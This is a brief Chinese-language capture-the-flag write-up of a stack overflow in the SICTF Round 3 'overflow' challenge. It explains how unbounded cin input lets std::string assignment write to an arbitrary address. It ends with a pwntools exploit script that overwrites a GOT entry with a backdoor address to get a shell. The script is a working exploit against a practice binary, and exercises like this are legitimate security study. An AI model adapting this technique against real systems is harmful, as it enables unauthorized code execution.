栈溢出

  • 例题 SICTF ROUND3 overflow
  1. 漏洞在这里,cin是不限制读入长度的,但是要注意不要用space,\n,那么operator=就相当于任意写,而buf又在栈上,把它覆盖为一个target_addr就可以任意地址写入
  2. ida反汇编有点小问题,应当是operator»(&cin,v3) std::string::operator=(buf, v3) buf位置在哪直接动调看一眼就知道了,根据这个设置pad长度
  3. 最终效果
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file="/home/zp9080/PWN/pwn"
# p = process(file)
p=gdb.debug(file,'b *0x4012E7 ')
backdoor = 0x4011d0
chk_got = 0x404018
#gdb.attach(p)
p.recvuntil(b'?\n')
payload = p64(backdoor) + b'b' * 0xa0 + p64(chk_got)
p.sendline(payload.ljust(0x150, b'a'))
p.interactive()